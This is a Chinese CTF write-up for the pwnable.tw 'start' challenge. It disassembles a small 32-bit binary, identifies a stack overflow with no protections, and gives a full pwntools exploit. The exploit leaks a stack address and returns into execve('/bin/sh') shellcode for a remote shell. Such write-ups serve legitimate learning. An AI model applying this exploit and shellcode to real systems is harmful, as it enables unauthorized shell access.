分析
反汇编代码是两个系统调用:
__int64 start()
{
__int64 result; // rax
result = 0x3C00000003LL;
__asm
{
int 80h; LINUX - sys_write
int 80h; LINUX -
}
return result;
}
来看汇编:
.text:08048060 public _start
.text:08048060 _start proc near ; DATA XREF: LOAD:08048018↑o
.text:08048060 push esp
.text:08048061 push offset _exit
.text:08048066 xor eax, eax
.text:08048068 xor ebx, ebx
.text:0804806A xor ecx, ecx
.text:0804806C xor edx, edx
.text:0804806E push 3A465443h
.text:08048073 push 20656874h
.text:08048078 push 20747261h
.text:0804807D push 74732073h
.text:08048082 push 2774654Ch
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h ; LINUX - sys_write
.text:08048091 xor ebx, ebx
.text:08048093 mov dl, 3Ch ; '<'
.text:08048095 mov al, 3
.text:08048097 int 80h ; LINUX -
.text:08048099 add esp, 14h
.text:0804809C retn
.text:0804809C _start endp ; sp-analysis failed
.text:0804809C
.text:0804809D
.text:0804809D ; =============== S U B R O U T I N E =======================================
.text:0804809D
.text:0804809D ; Attributes: noreturn
.text:0804809D
.text:0804809D ; void exit(int status)
.text:0804809D _exit proc near ; DATA XREF: _start+1↑o
.text:0804809D
.text:0804809D status = dword ptr 4
.text:0804809D
.text:0804809D pop esp
.text:0804809E xor eax, eax
.text:080480A0 inc eax
.text:080480A1 int 80h ; LINUX - sys_exit
.text:080480A1 _exit endp ; sp-analysis failed
.text:080480A1
.text:080480A1 _text ends
.text:080480A1
.text:080480A1
.text:080480A1 end _start
看0x8048060到0x804809C即可,函数先是系统调用write,把"Let's start the CTF:"打印出来,这段字符串在前面分作5次被push入栈:
.text:0804806E push 3A465443h
.text:08048073 push 20656874h
.text:08048078 push 20747261h
.text:0804807D push 74732073h
.text:08048082 push 2774654Ch
接着,系统调用read,读入字符长度为0x3c,因为前面总共才push了7次,那么栈的7*4 = 0x1c,明显是栈溢出了。现在要确定返回地址到输入字符串起始地址的偏移。
.text:08048099 add esp, 14h
.text:0804809C retn
可以看到,在后面直接把esp增加0x14就直接retn了,那么根据前面push的顺序,返回地址恰好是offset _exit,调试发现是0x804809D,所以到返回地址的偏移值是0x14。
查看保护机制:
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
完全没有保护,可以采取ret2shellcode,但并没有可写可执行的bss段。只能考虑把shellcode放在栈上。这就需要泄露一个栈地址以确定写入的shellcode的位置,进而ret到那里去。
这里有个write系统调用,自然用它来泄露,设置第一次的返回地址是0x8048087,那么打印出来的正是一开始push进去的esp的值,这是一个栈地址,记作first_esp。
接着考虑计算放置shellcode的地址。由于后面是会把esp增加0x14的,于是放置shellcode的地址等于first_rsp+0x14,然后就是padding和放置shellcode了。
Exp
from pwn import *
import sys
if len(sys.argv) == 3:
[ip,port] = sys.argv[1:]
io = remote(ip,port)
else:
io = process('./start')
elf = ELF('./start')
libc = elf.libc
# gdb.attach(io)
context(os='linux',arch='i386',log_level='debug')
shellcode = '''
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
mov al,0xb
int 0x80
'''
# payload = b'a' * 0x14 + retaddr
payload = b'a' * 0x14 + p32(0x8048087)
io.sendafter("CTF:",payload)
rsp = u32(io.recv(4))
print(hex(rsp))
shell_addr = rsp + 0x14
# pause()
shellcode = asm(shellcode)
payload = b'a' * 0x14 + p32(shell_addr) + shellcode
io.send(payload)
io.recv()
io.interactive()
# cat ./home/start/flag
标签:xor,esp,tw,pwnable,start,text,push,shellcode
From: https://www.cnblogs.com/liulangbxc/p/17580175.html